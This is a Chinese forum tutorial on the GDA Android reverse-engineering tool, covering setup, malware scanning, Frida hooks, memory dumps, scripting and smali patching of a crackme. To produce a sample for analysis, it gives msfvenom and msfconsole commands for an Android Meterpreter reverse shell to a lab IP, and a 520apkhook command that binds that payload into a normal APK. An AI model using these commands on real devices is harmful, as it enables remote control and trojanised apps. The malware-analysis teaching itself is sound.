首页
社区
课程
招聘
[原创]GDA使用手册:案例篇
2023-7-31 16:49 4697

[原创]GDA使用手册:案例篇

2023-7-31 16:49
4697

前言

此篇文章以案例角度简单的介绍GDA各功能点如何使用

备注:各功能点深入介绍请前往官网查看分析向导部分

更新日期:2023年7月31日

环境配置

配置界面

配置向导

选择某项配置后,将鼠标指针移动到左侧空白处会弹出配置提示信息

python:

注意:当前GDA(4.08)需要32位python,示例

 Python 2.7.18 https://www.python.org/ftp/python/2.7.18/python-2.7.18.msi

java :

java8:jdk-8u371-windows-i586

https://www.oracle.com/cn/java/technologies/downloads/#java8-windows

生成key

keytool -genkey -v -keystore app.keystore -alias gundam_wing -keyalg RSA -validity 20000

转换key的格式

keytool -importkeystore -srckeystore app.keystore -destkeystore tmp.p12 -srcstoretype JKS -deststoretype PKCS12

将PKCS12格式的key dump为可直接阅读的文本

openssl pkcs12 -in tmp.p12 -nodes -out tmp.rsa.pem

gedit tmp.rsa.pem

提取文本内的内容,根据其内容的标志信息创建两个文件,示例:

my_private.rsa.pem

my.x509.pem

转换,生成pk8格式的私钥

openssl pkcs8 -topk8 -outform DER -in my_private.rsa.pem -inform PEM -out my_private.pk8 -nocrypt

Demo APK信息

来自Android studio 示例代码:Hello Android

运行效果

申请的权限

恶意信息扫描

发现存在一些可被恶意使用的方法,例如:

Read contacts, SMS or other information

Collect IMEI, phone number, system version, etc

示例:查看与定位

通过GDA显示的代码,辅助分析到源代码相关位置

(名称 附近代码,位置等参考数据)

恶意APK

在kali 系统内,输入如下命令可生成一个具有反射shell功能的APK

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.70.133 lport=55555 R > shell.apk

攻击机监听

msfconsole //启动msfconsole
use exploit/multi/handler //加载模块
set payload android/meterpreter/reverse_tcp //选择Payload
set lhost 192.168.70.133 //这里的地址设置成我们刚才生成木马的IP地址
set lport 55555
exploit //开始执行漏洞 开始监听,等待apk运行

监听中

安装并运行APK后

获取目标机设备信息

sysinfo   //获取设备信息

分析思路

基础信息查询

  • BaseInfo

可在BaseInfo模块看到一些目标APK的基础信息

  • 证书信息

可通过点击功能按键查询证书信息或,在识图菜单找到相关查询选项

  • AndroidManifest.xml文件

可筛选内容显示,例如:services,看到此apk可以服务状态运行(Service 是一种可在后台执行长时间运行操作而不提供界面的应用组件。服务可由其他应用组件启动,而且即使用户切换到其他应用,服务仍将在后台继续运行。)

  • 取证信息

将APK解包并可选择编码格式查询相关信息

  • 运行状态检测

可使用adb shell "ps |grep 包名"

根据之前查询的APK包名示例查询如下:输入adb shell "ps |grep com.metasploit.stage"命令查询当前测试设备APK是否正在运行,

如下所示测试APK正在运行

恶意行为扫描

HTTP Connection 

在恶意方法行可双击进入相关代码页面

例如:这里点击了

分析代码,与网络协议相关部分(serverSocket),通过startWith方法判断字符串变量数据是否符合规则,若符合此规则:若字符串以tcp开头,那么将以":"分割该字符串

并将分割后的结果的序号2部分传递给一个变量将其作为端口号数值使用,并在进行分割取值传递给一个变量将其作为IP使用,若条件符合,将创建ServerSocket对象在指定ip、端口进行侦听,关键参数来自Payload.a 

键入快捷键搜索:Ctrl F:

看到赋值语句,点击查看

查看到了反连的IP与端口信息

Payload.a = new byte[8196]{0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,':',0x09,0x00,'<','*',0x88,0x08,'.',0x12,0xdc,0xf8,'=',0xda,'>',0xc9,'Y',0xbd,'+','7','>',0xfd,0xc5,0xf9,0xd5,0xf6,'L','?',0x93,0xec,0xb5,'g',0x05,0xb6,0xb3,0xf2,'t','c','p',':','/','/','1','9','2','.','1','6','8','.','7','0','.','1','3','3',':','5','5','5','5','5',.....0x00,0x00,0x00,0x00,0x00,0x00,0x00};

补充技巧:

全局搜索参数说明

类型---

refstr:搜索字符串(有被引用的字符串)

reffield:搜索类变量(有被引用的变量)

method:搜索方法

class:搜索类名

field:全局搜索类变量

package:包搜索

bin:二进制搜索

Content---

模糊:Payload

精确:"Payload"

正则:~".*Payload.*"

窗口始终显示选项

Frida动态调试

HTTP Connection 相关

运行Android设备(我这里是在存在GDA机器上运行的Android模拟器)

右键点击如下功能

可在弹窗的窗口看到当前机器的Frida版本信息

提示信息:Android设备未运行frida-server 

使用GDACMD 输入如下命令查询Android设备内核版本信息:

adb shell getprop ro.product.cpu.abi

根据frida与Android设备的内容信息下载相关的frida-server

解压后的文件

输入如下命令将此文件拷贝到Android设备的 /data/local/tmp/目录下并重命名为frida-server

adb push frida-server-16.0.19-android-x86_64 /data/local/tmp/frida-server

可输入如下命令启动frida-server

备注:su 为切换到root权限

adb shell
su
cd /data/local/tmp
chmod 755 frida-server
./frida-server

nohup ./frida-server &  后台运行,关闭终端服务也不关闭</span>

  • 自定义JS脚本

左侧右键执行或快捷键F5

脚本编写

查看引入信息

String java 类

startsWith 方法

setImmediate(function() {
Java.perform(function(){
    var Stringg = Java.use("java.lang.String");
    console.log("Waiting for APP permission")
    console.log("Waiting for APP permission")
    Stringg.startsWith.overload('java.lang.String').implementation=function(test){
        console.log("----------Record TCP or HTTPS information:----------")
        console.log(this)
        var reval = this.startsWith(test)
        return reval
    }
})
})

可在右侧窗口,右键选择退出选项以结束脚本执行

简单的动态分析到此结束

捆绑加固类APK分析

使用520apkhook工具进行捆绑与加固

备注:需要需改源代码因utils 命名冲突

main.py

python main.py --lhost 192.168.70.133 --lport 55555 -n ./test.apk

Malscan 对比

原始:test.apk

捆绑:AllFinish.apk

对比:恶意扫描发现增加了文件操作方法并且apk包内多了很多文件

内存导出

应用场景APK被加固的时候可Dump内存数据进行分析

  • adb 工具设置

避免执行报错推荐如下设置:环境变量的adb使用gdatmp目录的,若测试设备是模拟器(需删除模拟器自带的adb,使用gdatmp目录下的adb替换)

备注:gdatmp目录可在GDA不打开apk的时候在识图界面点击工作目录快速导航到,若已打开apk在导航的目录需返回上一级目录查看

测试:

如下图所示:右侧区域有数据输出内容

  • Dump错误情况

若不可用情况下可将内存Dump工具手动上传到Android设备(正常是自动上传)

内存Dump工具保存GDA工作目录的gdatmp文件夹内

根据Android设备内核选择对应的版本上传到该设备,并赋予相应权限示例:

删除Android设备/data/local/tmp/目录的Gdump文件

adb push %APPDATA%\GDA\gdatmp\Gdumpx86_64 /data/local/tmp/Gdump

adb shell chmod 777 /data/local/tmp/Gdump

测试

转储成功提示窗口

点击OK会在资源管理器中打开转储文件保存的路径

运行脚本

python脚本

测试脚本

1.py

def GDA_MAIN(gda_obj):
    per='The apk permission:\n'
    per+=gda_obj.GetPermission()
    gda_obj.log(per)
    tofile = open('out.txt','w')
    tofile.write(per)
    tofile.close()
    return 0

运行后界面变化与输出out.txt与1.pyc文件


JAVA脚本

测试脚本

1.java

package example;
import com.gda.api.GDAInterface;
import com.gda.api.GdaDex;
import com.gda.api.MethodInfo;
import com.gda.api.DexHeader;
//gjden
//example of dumping all the callors of a method
class Example4Callor {
	public int GDA_MAIN(GDAInterface gda)
	{
		String callorStr="";
		GdaDex Dex0=gda.DexList.get(0);
		for (MethodInfo method:Dex0.MethodList){
			if(method!=null&&method.callorIdxList.length>5){
				callorStr=String.format("the [%d] callors of the method: %s\n\n",method.callorIdxList.length,method.methodFullName);
				for (int calloridx:method.callorIdxList){
					String index=""+calloridx;
					if (Dex0.MethodTable.containsKey(index)){
						MethodInfo obj=Dex0.MethodTable.get(index);
                        callorStr+=obj.methodFullName;
						callorStr+=obj.MethodSignature;
						callorStr+="\n";
					}
				}
				break;
			}
		}
		gda.log(callorStr);
		return 0;
	}
}

若直接加载.java会弹出如下窗口

加载编译好的class文件

相关脚本可在GitHub项目查看https://github.com/charles2gan/GDA-android-reversing-Tool


应用案例

修改文件

测试文件:https://github.com/num1r0/android_crackmes

载入测试文件后点击Entry进入入口区域

鼠标左键双击MainActivity$1,进入MainActivity区域

鼠标左键双击getFlag

1.查看相关信息:鼠标左键双击getData

s3cr37_p4ssw0rd_1337

2.修改判断:F5或右键在弹出的功能窗口点击SmaliJava

smali代码

  • NOP修改

按R键保存修改

可点击OK将修改后的APK安装到测试设备

安装成功的提示信息

运行测试

  • 修改指令

将if-eqz修改为if-nez

右键可看到相关功能菜单

按M键修改当前选择的指令

修改完毕按Enter键确认修改

按R键保存修改,进行测试


此篇文章到此结束



[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2023-8-16 07:33 被梦幻的彼岸编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (2)
雪    币: 662
活跃值: (1642)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
daxia200N 6 2023-8-4 07:18
2
0
不错
雪    币: 2
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_」 ⃢_⃢。 2023-12-14 16:56
3
0
6666看不懂,不明觉厉
游客
登录 | 注册 方可回帖
返回